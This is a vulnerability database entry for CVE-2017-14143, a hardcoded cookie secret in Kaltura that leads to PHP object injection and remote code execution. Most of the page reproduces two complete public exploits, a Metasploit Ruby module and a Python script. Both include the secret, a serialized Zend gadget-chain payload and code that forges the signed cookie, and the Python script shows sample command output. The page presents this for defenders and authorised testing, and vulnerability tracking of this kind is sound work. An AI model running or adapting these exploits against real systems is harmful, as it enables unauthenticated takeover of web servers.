CVE-2017-14143

critical
Published 2017-09-19 ยท Modified 2026-05-13
CVSS v3
9.8
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
10.0

Description

The getUserzoneCookie function in Kaltura before 13.2.0 uses a hardcoded cookie secret to validate cookie signatures, which allows remote attackers to bypass an intended protection mechanism and consequently conduct PHP object injection attacks and execute arbitrary PHP code via a crafted userzone cookie.

Predictions

Exploit likelihood
97%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-43876 remote php verified ruby ยท 6 KB
Metasploit ยท 2018-01-24

Kaltura - Remote PHP Code Execution over Cookie (Metasploit)

ruby exploit Source: Exploit-DB
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  CookieSecret = 'y3tAno3therS$cr3T'

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Kaltura Remote PHP Code Execution over Cookie',
      'Description'    => %q{
        This module exploits an Object Injection vulnerability in Kaltura.
        By exploiting this vulnerability, unauthenticated users can execute
        arbitrary code under the context of the web server user.

        Kaltura makes use of a hardcoded cookie secret which allows to sign
        arbitrary cookie data. After passing this signature check, the base64-
        decoded data is passed to PHPs unserialize() function which allows for
        code execution. The constructed object is again based on the SektionEins
        Zend code execution POP chain PoC. Kaltura versions prior to 13.1.0 are
        affected by this issue.

        A valid entry_id (which is required for this exploit) can be obtained
        from any media resource published on the kaltura installation.

        This module was tested against Kaltura 13.1.0-2 installed on Ubuntu 14.04.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Robin Verton <hello@robinverton.de>',
          'Mehmet Ince <mehmet@mehmetince.net>' # first kaltura rce module
        ],
      'References'      =>
        [
          ['CVE', '2017-14143']
        ],
      'Privileged'      => false,
      'Platform'        => ['php'],
      'Arch'            => ARCH_PHP,
      'Targets'         => [ ['Automatic', {}] ],
      'DisclosureDate'  => 'Sep 12 2017',
      'DefaultTarget'   => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The target URI of the Kaltura installation', '/']),
        OptString.new('ENTRYID', [true, 'Valid entry ID of any media resource (example: 0_lahha4c9)', ''])
      ]
    )
  end

  def check
    r = rand_text_alpha(15 + rand(4))
    entry_id = datastore['ENTRYID']
    cmd = "print_r(#{r}).die()"

    p = ""
    p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
    p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
    p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
    p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
    p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
    p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
    p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"

    encoded = Rex::Text.encode_base64(p)
    hash = Rex::Text.md5("#{encoded}#{CookieSecret}")

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),
      'vars_get' => {
        'list_type' => '15',
        'entry_id' => entry_id
      },
      'cookie' => "userzone=#{encoded}#{hash}"
    )

    if res && res.redirect?
      print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
      Exploit::CheckCode::Safe
    elsif res && res.body.include?(r)
      Exploit::CheckCode::Vulnerable
    elsif !check_entryid
      print_error("Invalid ENTRYID")
      Exploit::CheckCode::Safe
    else
      Exploit::CheckCode::Safe
    end
  end

  def check_entryid
    entry_id = datastore['ENTRYID']
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),
      'vars_get' => {
        'list_type' => '15',
        'entry_id' => entry_id
      }
    )

    return res.body.include? entry_id
  end

  def exploit
    entry_id = datastore['ENTRYID']
    cmd = "print_r(eval(base64_decode('#{Rex::Text.encode_base64(payload.encode)}'))).die()"

    p = ""
    p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
    p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
    p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
    p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
    p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
    p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
    p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"

    encoded = Rex::Text.encode_base64(p)
    hash = Rex::Text.md5("#{encoded}#{CookieSecret}")

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),
      'vars_get' => {
        'list_type' => '15',
        'entry_id' => entry_id
      },
      'cookie' => "userzone=#{encoded}#{hash}"
    )

    if res && res.redirect?
      print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
    elsif res && res.code != 200
      print_error('Unexpected response...')
    else
      print_status("Output: #{res.body}")
    end
  end
end
EDB-43028 webapps php verified python ยท 2 KB
Robin Verton ยท 2017-10-23

Kaltura < 13.2.0 - Remote Code Execution

python exploit Source: Exploit-DB
#!/usr/bin/env python

# Kaltura <= 13.1.0 RCE (CVE-2017-14143)
# https://telekomsecurity.github.io/2017/09/kaltura-rce.html
# 
# $ python kaltura_rce.py "https://example.com" 0_xxxxxxxx "system('id')"
# [~] host: https://example.com
# [~] entry_id: 0_xxxxxxxx
# [~] code: system('id')
# [+] sending request..
# uid=1003(wwwrun) gid=50004(www) groups=50004(www),7373(kaltura)

import urllib
import urllib2
import base64
import md5
import sys

cookie_secret = 'y3tAno3therS$cr3T';

def exploit(host, entry_id, php_code):
    print("[+] Sending request..")
    url = "{}/index.php/keditorservices/getAllEntries?list_type=15&entry_id={}".format(host, entry_id)

    cmd = "{}.die();".format(php_code)
    cmd_len = len(cmd)

    payload = "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\0*\0_writers\";a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\0*\0_eventsToMail\";a:1:{i:0;i:1;}s:22:\"\0*\0_layoutEventsToMail\";a:0:{}s:8:\"\0*\0_mail\";O:9:\"Zend_Mail\":0:{}s:10:\"\0*\0_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\0*\0_inflector\";O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\0*\0_matchPattern\";s:7:\"/(.*)/e\";s:15:\"\0*\0_replacement\";s:%s:\"%s\";}s:20:\"\0*\0_inflectorEnabled\";b:1;s:10:\"\0*\0_layout\";s:6:\"layout\";}s:22:\"\0*\0_subjectPrependText\";N;}}};}"

    exploit_code = payload % (len(cmd), cmd)
    encoded = base64.b64encode(exploit_code)
    md5_hash = md5.new("%s%s" % (encoded, cookie_secret)).hexdigest()

    cookies={'userzone': "%s%s" % (encoded, md5_hash)}

    r = urllib2.Request(url)
    r.add_header('Cookie', urllib.urlencode(cookies))

    req = urllib2.urlopen(r)
    return req.read()

if __name__ == '__main__':

    if len(sys.argv) < 4:
        print("Usage: %s <host> <entry_id> <php_code>" % sys.argv[0])
        print(" example: %s http://example.com 0_abc1234 system('id')" % sys.argv[0])
        sys.exit(0)

    host = sys.argv[1]
    entry_id = sys.argv[2]
    cmd = sys.argv[3]

    print("[~] host: %s" % host)
    print("[~] entry_id: %s" % entry_id)
    print("[~] php_code: %s" % cmd)

    result = exploit(sys.argv[1], sys.argv[2], sys.argv[3])

    print(result)

Metasploit modules

Kaltura Remote PHP Code Execution over Cookie
Source fetch failed: fetch_error โ€” view the original via the link above.

Application impact

VendorProductVersionsFixed
kalturakaltura_server{"endIncluding":"mercury-13.1.0"}

References

CWEs

CWE-798

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.